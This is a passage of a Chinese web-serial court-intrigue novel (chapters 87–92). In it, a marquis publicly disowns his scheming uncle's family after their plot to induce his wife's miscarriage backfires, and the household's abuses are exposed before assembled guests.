陆氏哭着,继续打感情牌:“司延,你父亲就你叔父一个亲弟弟,同你叔父感情甚好,你父亲要泉下有知,知道自己的弟弟被人冤枉,定要伤心难过,看在你父亲的面上,你也不能不管你叔父啊!”
齐司延面色没有半点动容起伏,他右手向上摊开,兀自开口道:“曲休,剑。”
“是,侯爷。”
曲休自轮椅后方取剑,双手递到齐司延手心。
众人一头雾水,难不成这位看起来手无缚鸡之力的病秧子侯爷,为了其叔父,要拿剑逼退御史台的人?
陆氏亦是这般想的。
便是他们同齐司延的感情一般,她也不信他会对齐文台置之不理。
毕竟这攸关侯府的名声。
齐司延握剑扬声:“此乃我父亲生前爱剑——玄霜剑,今日我斗胆以此剑,替我父亲做个抉择,护我定宁侯府声名。”
齐文台、陆氏一家闻言大喜。
在场众人纷纷侧目,静候下文。
江元音在一旁看着,难得的热血沸腾。
她没想到齐司延会把玄霜剑带过来。
她确信他将用这把父亲的爱剑,斩获全新的人生。
在众人的注视下,齐司延一手扬剑,一手掀起自己的衣袍,利落而果断地挥下。
“嘶哗——”
他的衣袍被划破。
全场愕然。
齐司延道:“我父亲铁骨铮铮,一世英名,他若还活着,绝不会姑息胞弟恶行。”
他举起那被玄霜剑割下的衣袍布料,继续扬声道:“我替我父亲同其胞弟齐文台,割袍断义,自此,齐文台是生是死与我侯府无关,此生永不往来!”
“还请诸位做个见证!”
第87章 一家子完蛋
齐文台脚一软,跪倒在地。
陆氏激动朝齐司延冲过去,再次被曲休拦住。
陆氏推搡着曲休,破口大骂,“滚开!你一个奴才凭什么拦我?!啊——!”
曲休不给她叫嚷的机会,毫不留情用力将她一把推开。
齐司延扔掉手中的布料,冷声道:“曲休是本侯的人,轮不到侯府外人来呵斥。”
齐婧涵上前搀扶住陆氏,替其抱不平,冲齐司延喊道:“堂哥怎能胳膊肘往外拐,护着外人欺辱自己的家人!堂哥是忘了,在大伯父、大伯母过世后,是我父亲、母亲视你为己出,将你照料长大,你怎能恩将仇报?!”
江元音抬步走至齐司延身旁,维护反驳道:“自我嫁入侯府后,从不见你父亲关心过侯爷一回,而你母亲来过侯爷院中三回,一回是为四岁的孙儿强夺侯爷手中的玄霜剑,一回是怪我没拿嫁妆贴补你的归宁宴,一回是侯爷药浴非要闯入,不知哪一点体现出了对侯爷视如己出的照顾?”
众人一片唏嘘,目光中充斥着鄙夷。
陆氏母女一时被噎住,说不出话来,两张脸红红白白,万分尴尬窘迫。
而侍御史见齐司延已表了态,不再耽搁,扬声道:“侯爷明辨是非,不负先侯威名,我这就将齐文台带回御史台审问。”
陆氏:“不行——!”
齐婧涵:“慢着——!”
“你们要阻拦御史台也不是没有法子,”江元音一派诚心诚意地建议提醒道:“你们同侯府没关系了,但和国公府倒是关系匪浅。”
她目光在陆氏母女二人之间来回,“不如问问你的好女婿,你的好夫君,要不要请侍御史**公府一个面子?”
陆氏好似恍然大悟一般,殷切望向一旁的许子枫。
然许子枫面色铁青的立着,侧身不看母女俩一眼。
陆氏推了推齐婧涵,催促道:“你快去求求子枫,救救你父亲!”
齐婧涵犹犹豫豫,半天不敢动。
上次归宁宴,许子枫同她生了好久气,她费尽心思两人才稍稍和好。
“是啊,”江元音附和,拿齐婧涵先前质问齐司延的话来堵她,“你可不是被视如己出养育长大,而是亲生女儿,难道不管你生父吗?”
齐婧涵被架住,不得不走到许子枫面前,弱声道:“子枫哥哥,你信我,我父亲是被冤枉的,你不能让御史台就这么带走他……”
许子枫一个正脸都不给她,“是真是假御史台自有定夺,我国公府不会插手御史台办案!”
他会娶齐婧涵,完全是看在齐司延是个傀儡侯爷,误以为齐文台才是掌权的。
现下不仅她一家的嘴脸,都在众权贵面前揭露,齐司延还大义灭亲同他们断绝了关系,他还出声维护,别人岂不嘲他国公府是非不分?
他丢不起这个人,真是倒了八辈子霉,才娶了齐婧涵!
齐婧涵生怕许子枫如同归宁宴那回一般,扔下她独自离开,忙伸手去拉他,“子枫哥哥……”
然而她刚碰到他,便被他恶狠狠甩开,低喝道:“闭嘴,你还嫌不够丢人?”
齐婧涵猝不及防,被他甩倒在地。
先前在内厅装的夫妻恩爱,不攻自破。
她双手紧攥成拳,不敢看周遭的人目光,难以置信地盯着许子枫冷漠的侧脸。
侍御史这回环视场上其余的官员,问道:“侯府和国公府都不管此事,可还有其他大人要管?”
在场官员,无一人同侍御史对视。
他们纷纷出声表态,把和齐文台的关系撇得是一干二净。
“我等今日受邀参加侯府宴席,奔的是侯爷的面!”
“侯爷大义灭亲,吾等佩服,日后定不会将某些败类的言行,联系到侯府上!”
“请侯爷放心!”
在一片站队与示好声中,齐婧涵尝试站起来无果,手捂着肚子,面色惨白地叫唤,“好痛……子枫哥哥,我肚子好痛……”
她的贴身丫鬟上前搀扶她,随后惊呼出声:“不好了!夫人流血了!”
许子枫置若罔闻,没有侧目看齐婧涵一眼。
江元音朝齐婧涵看去,她下身大腿间的位置的确隐有血迹。
她心下一凛。
……怎么会?
江元音想上前一探究竟,却被人伸手拉住。
是齐司延。
在大家的注意力都在喊痛流血的齐婧涵身上时,他不再维持双目无神地涣
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散模样,而是聚焦在江元音身上,仔仔细细将她上下打量,问:“你可有事?”
他只忧心她在内厅着了算计,受了委屈。
江元音回握住他的手,知晓他在担心什么,回道:“侯爷放心,我母子平安。”
这时秦氏脸色发白的赶过来,命自己的丫鬟一同去搀扶,紧声道:“快扶她回屋,请郎中过来看看!”
场面愈发的混乱,一群人悠哉看戏,一群人冷眼旁观,一群人焦急忙慌搀扶着齐婧涵往屋里走。
而江元音将秦氏的反应看在眼里,于混乱中拉住了她,低声询问:“怎么回事?”
她反应似是知情。
秦氏用着两人才听得到的声音,颤声回道:“那两碗紫苏饮子……我换了你们俩的紫苏饮子……”
江元音抓住重点的问道:“她让你下了什么药?滑胎的?”
秦氏点头,语无伦次道:“她不是没有……我才换药,为何?怎么会……她……我不知道,我不是有意的……”
因为齐婧涵在紫苏饮子里下的是滑胎的药,她以为她喝了不会有事,才直接把她们俩的碗给换了。
难道滑胎的药对普通人的身体亦有害?
如果齐婧涵出了事,她便是罪魁祸首。
江元音听明白了,安抚道:“莫慌,此事与你无关,不是你的错,先等郎中来看了再说。”
秦氏点点头,慌慌张张跟了过去。
全程,许子枫都没有半分反应。
侍御史押解着齐文台,再次欲走,这回又被人开口唤住。
出声的正是王氏。
王氏观戏良久,眼瞅着侯府、国公府都同齐文台一家撇清了关系,再没甚好顾虑的。
此时状告齐明宏,既能让他一家身败名裂,出了她心中恶气,又能跟侯府示好,一举两得。
见王氏站了出来,江元音这才瞥向躲匿在人群中的齐明宏。
这个孬种,好歹陆氏母女都有站出来为齐文台说话,他却一声不吭。
没品更没种。
江元音再次走至齐司延身旁,低声言简意赅道:“王氏所言可信,侯爷切不可放过齐明宏。”
末了,又道:“我去瞧瞧齐婧涵是何情况。”
第88章 不要轻易认命
齐婧涵被就近送到了最近的厢房,她疼得脸色发白冒汗,一张脸上全是你汗水与泪水,不住地叫唤喊疼。
陆氏坐在床榻边,拿帕子给她擦拭泪水与汗水,着急忙慌地安抚。
郎中很快便赶了过来。
一番看诊过后,郎中斟酌着用词,一脸惋惜,保守含蓄道:“夫人肚中胎儿……怕是保不住了。”
陆氏惊声:“你说什么?!”
齐婧涵满眸震惊,拽住郎中的手,“什么胎儿?你说什么胎儿……?”
郎中面色同样有些许的讶然,“夫人不知晓自己已有一月身孕吗?”
齐婧涵成婚一个半月了,算算圆房的时间,的确差不多是这个时候。
齐婧涵似是在抓住救命浮木一般,双手死死抓住郎中的手,“不管你用什么法子,你必须救下我的孩子!我怀的是国公府的骨肉,出了差池,唯你是问!”
郎中吓得一哆嗦,起身往地上一跪,惊恐求饶道:“夫人饶命,小的医术有限,无力回天,您的孩子……已经没了……”
他前面那一句“怕是保不住”是委婉的说辞,事实上,她的孩子已经没了。
齐婧涵仍拽着他的衣袖不肯松手,她大口大口地喘气,目光落在一旁面色同样惨白的秦氏身上,嗓音尖锐,不管不顾地喊道:“是你对不对?!是你害死我的孩子!我让你给……”
陆氏连忙拉住失去理智要崩溃地齐婧涵,厉声对秦氏道:“别杵在那,领郎中下去抓药!”
接着又屏退满屋子的丫鬟。
江元音一直在门口旁听,看到丫鬟们都被赶了出来,秦氏一脸失魂落魄,别说领郎中去抓药了,她甚至连个完整的字词都说不清楚。
自责愧疚快要将她淹没。
郎中额头冒汗,出了房门一脸为难冲秦氏道:“那孩子已经没了,开什么药都无济于事,你们要不另请高明吧……”
江元音出声道:“那便开副止血的药方吧。”
语罢吩咐雪燕,领郎中下去。
又吩咐清秋出府,去领她安顿好的两个证人登门。
接着她拉着秦氏的手,感觉到她的身子一直在发抖,温声安抚:“你并非故意为之,连她自己都不知道自己怀有身孕,何况若非她自己缺德使坏在先,也不会落得这般下场。”
她口吻坚定道:“是她自食恶果,与你无关。”
她知秦氏是心善之辈,一直被欺不过是因为其不忍伤害他人。
“可是是我换了紫苏饮子,是我把有滑胎药的那碗给了她……”秦氏眼泛泪花,自责不已,“我明知道里面有滑胎药……我应该把那碗扔掉,我不应该为图省事直接换给她……”
“是我害**她的孩子……是我……”
江元音抿唇,不再劝慰开解,而是拉着她折返。
秦氏不解,试图阻拦,“母亲让我们……”
江元音抬起另一只手,做了个“噤声”的手势,冲她摇摇头,示意她不要说话,只管随自己走便是。
秦氏稍作犹豫,到底不敢挣脱江元音,怕自己动作太大,又伤害了江元音肚中的孩子。
江元音重新拉着秦氏回到厢房外,轻轻将门推开了些许。
屋内陆氏母女的对话传了出来。
虽已错过了几段交谈,但也能猜测出,母女俩谈得并不愉快,近乎争吵。
齐婧涵气道:“我全是为了母亲分忧解难,母亲倒怪我莽撞了?现在失去孩子的人是我!”
“我早劝你不要在今日动手,”陆氏亦没好气,“现在好了,御史台的人要抓你父亲,齐司延不管,许子枫竟也不管,你还整出这么大事,要我一人如何是好?你们把我逼死得了!”
“难道是我让御史台的人来抓父亲的吗?母亲这也要怪我?”
“我何时怪了你?我掏空侯府给你陪嫁,就是想让你在国公府站稳脚跟,结果许子枫一句不帮,我还不能念叨两句了?”
“难道我没回馈母亲吗?”齐婧涵不服哭道:“要不是
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你想除掉秦氏,再以齐维航没了娘为由过继给堂兄、**,我何必冒着这么大的风险,故意蒙骗秦氏给**下药,等**孩子没了,再指认秦氏**?”
齐婧涵越说越委屈,近乎歇斯底里的崩溃大叫:“现在我的孩子没了!子枫哥哥也不管我!父亲要是入了狱,我日后在国公府如何抬起头?!”
“我后半生要如何过?!”
门外,早推测到这一切的江元音一脸淡然,而秦氏如遭重创,抖得越发厉害。
江元音又将她拉到远处长廊。
她一直没有松开秦氏的手,无声地给她力量。
她替秦氏梳理着事情的脉络,道:“如果你没有调换那两碗紫苏饮子,此刻,躺在床上血流不止的人是我,而齐婧涵和陆氏会指控你谋害我,将你扭送官府。”
“秦家不会管你,齐明宏更不会管你,你百口莫辩,我也救不了你,维航会失去生母。”
“你不过无意中回击惩治了原本要加害你的人,有何需要自责的?”
秦氏热泪盈眶,哽咽着吐不出清楚的字词,只发出破碎的呜咽。
江元音说得没错,她身后空无一人。
若她出事,无人在意,无人会管。
江元音接着道:“一味的忍让是解决不了问题的,只会让他们变本加厉,更不将你当一回事。”
秦氏终于挤出了音节,“可我又能怎么做?我什么也做不了……”
“你可以的,”江元音目不转睛地盯着她,诚恳道:“世道不公,给予我们女子诸多枷锁,但我们不要轻易认命,努力尝试一次吧,试着把人生的选择权交给自己。”
“失败也没关系,反正不会比现在更差了,不是吗?”
“瑾烟,你当真愿意给齐婧涵背锅,被齐明宏欺辱一生吗?”
江元音不再唤她“堂嫂”,而是直呼其名。
秦瑾烟眼泪决堤,漱漱落下。
她已经记不得有多久,没听人唤过自己的名字了。
第89章 对质
厢房门开了。
陆氏瞟到两人一怔,随即气冲冲朝两人走来。
“你们俩在这嘀咕什么?”陆氏目露凶光,直接倒打一耙道:“果真如婧涵所言,是你们俩故意下药毒害婧涵,害死她腹中骨肉!”
陆氏怒瞪江元音,道:“你马上去劝齐司延,让他驱赶御史台的人离府,救下他二叔父,我便劝婧涵网开一面,不将此事闹大!”
江元音噗嗤一声笑出声来。
陆氏恶声道:“你笑什么?!”
“笑你啊,”江元音掀了掀眼皮,再不装温吞恭顺,冷眼扫她,评价道:“死到临头,还异想天开。”
陆氏厉声喝道:“**,你竟敢这般同我说话?!”
她在侯府耀武扬威十多载,哪个女眷见了她不是恭恭敬敬的?
就是今日之前,**见着自己不还得低声细语?
她这是看到齐司延要同齐文台断绝关系,便不演了?
陆氏气急,只觉得再忍耐下去,江元音就要在她头上撒野了!
她扬手,决定把压抑了几个月的那一记耳光扇过去。
“我看你是分不清谁是……”
江元音可不惯着她,反应极快地伸手扼住她的手腕,将她往边上一推。
陆氏踉跄了下,**嬷扶住。
邓嬷护主骂道:“夫人疯了不成?竟敢对叔祖母动手!”
“你耳聋了不成?”江元音反怼道:“刚刚在外厅侯爷已同你家老爷断绝了关系,哪还有叔祖母?”
她看着胸膛起伏的陆氏,接着道:“你以为我会受你威胁,怕你闹大?”
她轻笑,“你要闹就赶紧趁着外厅的人没走去闹,去晚了可没人看你唱戏。”
“你——!”
“怎么?”江元音挑眉,继续讥讽道:“不敢啊?那就好好跟我认错道歉,兴许我看在你一把年纪的份上,能劝侯爷宽限几日,不马上将你一大家子扫地出门。”
“好!你给我等着!”陆氏紧咬后槽牙,“婧涵肚子里的可是国公府的血脉,你此番定吃不了兜着走!”
她说完,恶狠狠地看向秦瑾烟,“你还想我认你这个儿媳,一会就将**这个毒妇是如何唆使你的,通通说出来,我念在你将功抵过的份上,会劝明宏不要休了你,否则——你自己掂量掂量!”
放完狠话,陆氏大步朝外厅走去。
秦瑾烟下意识地想阻拦,**元音拉住。
她不解道:“为何要任由她闹大?她是要污蔑我们啊……”
江元音回道:“陆氏把事情闹得越大,你才能自由。”
她故意拱火,刺激陆氏,就是想着现在去了外厅,说不定能让秦瑾烟亲眼目睹王氏对齐明宏的指控。
这样,她或许更能下定决心离开那个**。
而让众人见识了陆氏的恶,她方能不被**裹挟,提出和离。
江元音语重心长道:“你是要当陆氏的儿媳秦氏,还是当自由的秦瑾烟,一会由你自己选择。”
选择当陆氏的儿媳秦氏,会听陆氏的话,在众人面前,污蔑自己“唆使”她给齐婧涵下药。
选择当秦瑾烟,她一会该勇敢指证陆氏、齐婧涵以及齐明宏的所作所为。
“瑾烟,这是我最后一次劝你,无论你做的是哪一个选择,我都理解,但——”江元音顿了顿,加重语气坦诚道:“如果你选择前者,我们不再是朋友。”
人生本就是不断的筛选,不断的做选择。
这辈子她不会再忍让迁就任何伤害她的人,哪怕对方有苦衷。
秦瑾烟待她不错,所以她想帮她一把。
但如果秦瑾烟选择前者,她会亮出所有的证据,不再留情。
说完,江元音松开了秦瑾烟的手,快步朝外厅走去。
可惜来得晚了,没能目睹王氏指控齐明宏。
她们一行折返外厅时,御史台的人已经带走了齐文台与齐明宏。
陆氏没料到自己刚安顿了齐婧涵,想着以其失去的孩子为筹码来救齐文台,结果一回来,发现自己儿子也被扣押走了。
陆氏险些崩溃,没法冷静按照自己先前设想的去同齐司延谈判。
有曲休在,她近不了齐司延的身,只能冲着他急切喊道:“你快命人去拦住御
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史台的人!否则我便将**毒害婧涵骨肉的事告知国公府,国公府定饶不了她!”
齐司延不过是个倚仗父母殊荣,没有实权的侯爷,如何能比得上大权在握的国公爷?
她不信齐司延会为了**,与国公爷为敌!
江元音远远给了齐司延一个眼神,暗示他让她来处理。
随即上前,不慌不乱地扬声回应:“陆氏,你说我毒害齐婧涵腹中骨肉,有何证据?”
陆氏手指周遭众人,“婧涵刚刚大出血,大家皆是证人!”
“齐婧涵刚刚是被其夫许子枫推倒流血,大家亦皆是证人,与我何干?”
“荒唐!分明是你下药毒害婧涵在先,她不过是刚好摔倒时才毒发,跟子枫推她有什么关系?”
“我下药毒害她?”江元音轻笑,“先前在内厅,齐婧涵先是逼我喝九酿春,后又寻我喝紫苏饮子,大家更是证人,居心叵测要下毒害人的人是谁,大家一眼便知。”
齐司延听着眸色一沉,眉目间都是迫人的怒气。
周遭王氏带头附和响应。
“是啊,分明是齐婧涵三番两次刁难侯夫人,上赶着要和侯夫人喝这喝那的,怎地还怪侯夫人给她下毒了?”
“这齐婧涵不会是刚刚才知道自己怀孕的吧?”
“她在宴席上没少喝酒,似她这般不注意身子,孩子没了也是自己作的,怎地还给别人泼脏水了?”
“我看她这是害人不成,反遭了报应。”
“你们闭嘴!”陆氏剜了众人一眼,一把扯过秦瑾烟,“你说,是不是**逼迫教唆你,给婧涵下毒?”
江元音不再催促劝说,只是非常安静地望着秦瑾烟。
能说的她都说了,该秦瑾烟自己做出选择了。
可秦瑾烟垂首避开了她的目光。
江元音心里难免涌现失望,但很快收整好了心情,余光环视全场,又飘向入口的方向。
远远地,她看见清秋已经带着她预备好的两个证人朝外厅走来。
一个是给她开避子汤的郎中,另一个是被陆氏砍掉双手,逐出侯府的王嬷。
第90章 六亲不认
陆氏不满秦瑾烟的沉默,用力拖拽她的手臂,近乎威胁地催促,“哑巴了?说话!”
秦瑾烟手臂的伤口被拖拽得隐隐作痛。
她脑子里不住交叠回荡陆氏一家的话。
——“蒙骗秦氏给**下药,等**孩子没了,再指认秦氏**。”
——“以齐维航没了娘为由过继给堂兄、**。”
——“我打死你这个吃里扒外的蠢东西!”
随即江元音的话覆盖住这些嘈杂的辱骂,震耳欲聋。
——“努力尝试一次吧,试着把人生的选择权交给自己。”
——“失败也没关系,反正不会比现在更差了,不是吗?”
是啊,一切都不会比现在更差了!
秦瑾烟猛地挣脱陆氏抬头,开口说出真相:“元音从来没有唆使过我什么,是齐婧涵在九酿春里下毒不成,又威逼我在紫苏饮子里下药,想害死元音的孩子,再让我背锅偿命,好如母亲所愿,把我的孩子过继给侯爷,继承侯爷爵位!”
“我不知齐婧涵有孕,这才随手换了两碗紫苏饮子,齐婧涵小产……是她罪有应得。”
“秦氏,你胆敢血口喷人!”陆氏目光似是要**,“那**允了你什么好处,你竟为了她颠倒黑白,构陷婆母、小姑子,我齐家没你这样的儿媳妇,明宏定会休了你这毒妇!”
“我所言句句属实,”秦瑾烟高举双手,滑落的袖袍好似那张束缚住她的茧般被剥落,露出伤痕累累的双臂,她声音发颤,却透着豁出一切的勇敢无畏,“我嫁入齐家七载,九死一生生下儿子,花光嫁妆贴补婆家,却一直被你们冷眼相待,动辄拳脚相加……”
“因为我秦家没落,所以无论我怎么做,你都不满意,”她望着陆氏,终于敢说出压抑在心底的话:“你最是自私狭隘阴毒,你才是毒妇!”
江元音眼底有动容,庆幸秦瑾烟终于勇敢踏出了这一步。
她扬声帮腔:“是真是假,验验齐婧涵自国公府带过来的九酿春,看酒里是否有毒便知。”
陆氏心虚不已,自不敢正面回应。
江元音冷声:“陆氏,你苛待儿媳,你儿更是殴打发妻,是她该与你儿和离,你儿凭何休她?”
王氏唱和道:“齐明宏前几日方才逼死我府中丫鬟,在外为非作歹,在家更是不做人,他还好意思休妻?”
秦瑾烟手臂上伤痕太扎眼,全场唏嘘。
没人会质疑陆氏一家子的恶。
在众人的讨伐声中,江元音用眸光示意清秋,让郎中和王嬷开始行动。
是以两人在混乱中跑上前去,相继跪倒在齐司延面前。
王嬷双手已成两个瘆人的肉球,仰天哭喊道:“侯爷容禀,老奴是受那陆氏指使,在青松院盯梢侯爷与夫人的,陆氏不仅吩咐我,不必给夫人好脸色,让我想法子打压夫人,磨一磨夫人的性子,更授意我将夫人的嫁妆挪走,最后怕事情败露,砍断我双手,将我逐出侯府去……更试图将我赶尽杀绝……”
她哭着磕头,“老奴的确冒犯了夫人,可老奴冤啊……求侯爷救救老奴吧!”
她被逐出侯府后,日子过得苦不堪言。
陆氏将侵占江元音嫁妆失败的火全部撒在她身上,她没了银钱,又废了双手,生计都成问题,陆氏还派人寻她麻烦,想将她一家赶出汴京去。
要不是江元音出手相助,她怕是要活活饿**!
郎中亦叩首道:“小的该死,一直被陆氏威逼,给夫人开避子汤……万幸夫人肠胃不适,没有误食,还请侯爷、夫人看在小的愿出来指证的份上,饶小的一命……”
这时曲休朝身后招了招手,早候着的小厮们抬着杖伤未愈的家丁上前来。
家丁趴跪在地上,同样高呼:“侯爷恕罪,小的是受齐明宏指使,以陪维航少爷练剑为由,寻机会冲撞夫人,使其滑胎……小的知错,小的愿指证齐明宏,请侯爷饶小的一命……”
“你、你们……”陆氏大口喘气,说不出完整的反驳的话,若非邓嬷搀扶,她已然腿软站不住。
齐文台、齐明宏被御史台带走了,齐婧涵还躺在厢房里,秦氏反叛!
放眼全场,竟无一人帮她!
江元音走至齐司延身边,垂首带着哭腔道:“陆氏一家数次加害妾身与侯爷骨肉,还请侯爷为妾身和腹中孩儿做主啊。”
哪怕知晓一切都是在做戏,他还是心疼地伸手,握住了她的手。
“你此刻不是好好站在这?”陆氏模糊重点的厉声大喊:“现在没了的,是婧涵肚中的孩
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子,是国公府的血脉!”
她猛地朝一旁杵着的许子枫跑去,抓住这最后的救命稻草,嚷嚷道:“婧涵是你的妻子,她怀了你的骨肉,现在孩子被**害没了,她此刻躺在床上流血,你不能坐视不理啊!”
许子枫本就觉得今日丢光了颜面,恨不能成为隐形人。
陆氏这一喊,又让他成为了众人视线的焦点。
他气得不行,整张脸难看至极。
沉默已久的齐司延扬声开了口:“许子枫,许四郎可在?”
许子枫顺势甩开陆氏,不得不往前迈了两步,朝齐司延拱手作揖,唤了声“侯爷”。
两人虽年纪相仿,但一个是爵位在身的侯爷,一个只是国公爷妾室所生庶子。
身份地位,可谓相差甚远。
齐司延清俊的面容上,没甚情绪起伏,却不怒自威。
他质问道:“许四郎,你正妻齐氏毒害本侯夫人,可是你国公府授意?”
既然陆氏不知天高地厚,非要挑起侯府与国公府的对立,他便如她所愿。
许子枫立即否认撇清:“我国公府与侯府无冤无仇,怎会加害侯爷子嗣?齐氏同侯夫人之间的是否有过节,我一概不知,我国公府更不会插手。”
娶齐婧涵就是为了借定宁侯的势,如今“势”没借到,反而将其得罪。
此事要牵连到国公府,他怕是要被他父亲打个半死。
思及此,许子枫连声向齐司延示好表态:“齐氏年幼,当是听信了其母陆氏的挑唆,但她既失德害人,我绝不姑息,待回了国公府我会写休书,休了她这失德毒妇,给侯爷、侯夫人一个交代。”
陆氏彻底崩溃,疯魔了一般上前捶打许子枫,又打又骂:“你个丧良心的孬种,连自己的妻儿都不护,没用的庶子……”
“庶子”两个字精准的踩在了许子枫最在意的点上,他再难克制情绪,暴怒猛踹了陆氏一脚。
陆氏被踹倒在地,疯疯癫癫地冲齐司延叫嚷:“齐司延,你六亲不认,我可是你二叔母!你今日是不是想逼死我才满意!”
齐司延置若罔闻,只是牵着江元音的手,唤道:“曲休。”
“在,侯爷。”
“陆氏毒害本侯妻儿,其罪当诛,将其报官,扭送刑部处置。”
第91章 你嫁个庶子,猖狂什么
寿宴变成了“庭审”,寿星齐文台一家被相继送官入狱。
来宾们看足了热闹,也不好再多做逗留,忙向齐司延表态示好,离开了侯府。
遭此变故,齐文台妾室家眷、齐明宏妾室家眷,在齐司延面前跪了一地。
没人敢跟齐司延求情,只是哭哭啼啼求他开恩,唯恐被牵连。
齐司延扬声:“本侯不插手内宅之事,一切皆由夫人做主。”
他对江元音道:“辛苦夫人了。”
江元音知晓他在帮她树威。
她欣然接受,面朝众人,道:“我允你们五日收整行李,五日后,离开侯府。”
这些妾室家眷,活在陆氏的**下,过得谨小慎微。
平日和她没有往来,也没有过节,她自不会为难。
闻言,场面乱做一团,好些人接受不了,不愿意离开侯府,一副要昏倒的模样,试图反对江元音。
秦瑾烟不愿江元音被人为难,率先垂首跪地表态:“是,主母,我这就收整……”
江元音大步迈过去,一把扶住她制止,道:“你无需收整行李,这侯府你想住多久都可以。”
秦瑾烟抬头,推拒道:“那如何能行?我……我怎么能留在侯府呢?”
她的公婆、丈夫全被驱逐出了侯府,她哪有留在侯府的资格。
江元音知晓秦瑾烟的顾虑,她替她理了理衣袖,遮住其手臂上的伤痕,肯定赞赏道:“不是每一个人都有勇气展露自己的伤疤,你刚刚很勇敢,你做得很好。”
秦瑾烟含泪。
江元音鼓励承诺道:“瑾烟,秦家不同意你和离没关系,如果你愿意,以后侯府就是你和维航的娘家人。”
秦瑾烟热泪盈眶,哽咽道:“多谢你的好意,只是他们这般待你,我哪配承你的好?”
“他们是他们,你是你,你没有伤害过我,”江元音拍拍她的手,劝慰道:“我知你现在思绪混乱,你好好缓缓,不要急,慢慢思量。”
秦瑾烟一番纠结后,抬手拭泪,暂时搁浅了这个话题,环视全场道:“我先帮你将内厅、外厅收整了如何?”
先前陆氏将操持寿宴的事交给了她,善后本就是她分内之事,可如今江元音才是名正言顺的侯府主母,她自当过问她,认可尊重其主母的身份。
江元音莞尔,“好,有瑾烟帮我,定事半功倍。”
语罢她看向齐司延,“那侯爷先行回青松院吧,我忙完再回。”
她今日要忙活的事还有很多,不只是这宴会厅,还有齐文台父子的那些家眷们的安排处置。
更重要的是,因为侯府出现如此大的变动,各院的奴仆都需重新整合调配。
这些事都拖延不得,免生祸乱麻烦。
齐司延掀了掀眼皮,看她们姐妹情深,四手相握,难舍难分,心情很是微妙。
他没甚表情地“哦”了声,“早些忙完,我有话同你说。”
江元音点点头,和秦瑾烟拉着手忙活开了。
齐司延面无表情地盯着江元音的背影。
……她竟不好奇他要说什么?
曲休明显察觉到齐司延的不爽,清了清嗓子试探唤了声:“侯爷?”
片刻后,齐司延方才开口:“回青松院。”
有话同她说是真的,但他也还有别的正事要忙。
齐司延径直回了书房,很快书信一封,交给曲休,命其送到刑部,“可以行动了。”
今日当众收拾齐文台一家,将陆氏送到刑部,不过是他布局的第一步。
如此兴师动众,为的是藏匿在陆氏一家身后的那一条大鱼。
另一边,江元音不想秦瑾烟胡思乱想,便将收整寿宴的事,交给了其处理。
而她自己则命管事,整理出了齐文台父子那些家眷院里的奴仆名单,根据其**契的归属来处置安排他们。
那些本就是妾室们带入侯府即陪嫁的奴仆们,皆交由他们的原主子处置,侯府不插手。
而那些**契还在侯府,只是被安排去各院主子身边侍候的,她同样给了他们五天的考虑时间。
若是他们决定跟随侍候多年的主子,侯府不会强留。
江元音将**契在侯府的奴仆们的罗列在一张单子上,交给清秋,吩咐道:“五日后你照着名单确认一番,届时将愿意留在侯府的人,领来见我。”
要管理好一座府邸,先要管理好府中的人。
毕竟,能兴风作浪,制造麻烦的,都是人。
申时,家丁匆匆来报:“夫人,国公府来信。”
雪燕上前接过信件,转交给江元音。
江元音翻开一看,是许子枫给齐婧涵的休书。
通篇是对齐婧涵的控诉,将她数落贬低到了尘埃里,不见半句维护,更看不出半点感情。
这陆氏母女才是真正的眼盲心瞎,费尽心思,就为了攀附这么个男人?
先前那陆氏骂许子枫的那几句,倒是中肯。
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>许子枫的确是个丧良心的孬种。
江元音敛了心中感慨,拿上休书,前去见齐婧涵。
厢房里,齐婧涵面如死灰地坐靠在床上。
其丫鬟见着江元音主仆进来,好似受惊的兔子,立即俯身退至一旁。
齐婧涵拧眉,双手紧攥着被褥,先声夺人地质问:“你来做什么?!”
她流血被送到这厢房后,没有再出去,但外面发生了什么,她都知道了。
母亲离开后,迟迟未归,她便命丫鬟去打探情况。
丫鬟慌慌张张地回来,告诉她,她母亲被秦氏、郎中、王嬷等人指控,毒害**,侵占其嫁妆,被齐司延扭送刑部了。
不仅于此,她父亲、兄长通通被御史台带走了。
她差点昏过去,只能追问许子枫是何反应。
丫鬟战战兢兢地说,许子枫离开侯府前,说要休了她。
经历身体与精神的双重摧残,她一时承受不住,竟真的晕了过去。
她其实刚醒来不久,脑子混乱,尚未思考出应对的法子,江元音便来了。
江元音浅笑,缓步走近。
齐婧涵只觉得头皮发麻,越发大声道:“你是来笑话我的?!”
她强掩恐惧,虚张声势地威胁道:“江元音,你不要得意,你胆敢伤害我,子枫哥哥……国公府不会放过你的!”
“你、你不要过来……不要靠近我!”
江元音立在床前,低眼俯视她,轻笑道:“这么怕我?”
“谁、谁怕你……?”齐婧涵嘴硬强撑,“子枫哥哥只是一时在气头上而已,他不会不管我的……他会回来接我的,一定会的,你要是敢欺负我,你要是敢欺负我……他饶不了你。”
这些话,与其说是恐吓江元音,更像是说给她自己听的。
她以己度人,只觉得江元音肯定是来羞辱折磨她的。
强烈的恐惧快要击垮她,她只能自欺欺人地催眠自己。
“他饶不了我?”江元音好似听到了天大的笑话,眉心疑惑蹙着,唇角却上扬,语调里都是漫不经心的笑意,毫不留情地戳穿道:“齐婧涵,你好像一直没搞清楚,你嫁的并不是位高权重的国公爷,你嫁的——”
她拉长了语调,稍稍俯身看她,声音越发轻缓,讥讽意味十足,“是国公爷妾室所生的庶子。”
“便是国公爷的能袭爵的嫡长子见了侯爷,也得恭敬行礼问好,你嫁个庶子,到底在猖狂什么?”
第92章 她主动撒娇点火
齐婧涵被彻底激怒,理智被怒火烧毁。
江元音于她而言,不过是个商贾之女,她从未瞧得上一眼,现下竟敢这般践踏羞辱她!
她如何能忍?!
她双目充血,不管不顾地朝江元音扑过去,发狂似地叫嚷着:“**!我今日便要撕烂你的嘴!”
江元音利落后退两步,冷眼瞅着齐婧涵失了重心,跌倒在地。
雪燕、清秋上前,将江元音护在身后。
齐婧涵瑟缩在角落的丫鬟亦赶紧上前,蹲在地上去搀扶阻拦齐婧涵,“夫人冷静,千万要冷静啊,当心身子……”
他们家大势已去,再得罪江元音,真是死路一条!
可齐婧涵好像魔怔了,她听不见也看不见其他人,紧盯着江元音,拼命挣扎,不住嘟囔着:“我杀了你,我要杀了你……”
江元音冷眼看她发疯,鄙夷而轻蔑道:“啧,难怪许子枫不要你。”
“你胡说!”齐婧涵大喊,“子枫哥哥不会不要我!我们青梅竹马两小无猜,我们才刚刚成婚一月,我们感情很好,你休想挑拨我们!”
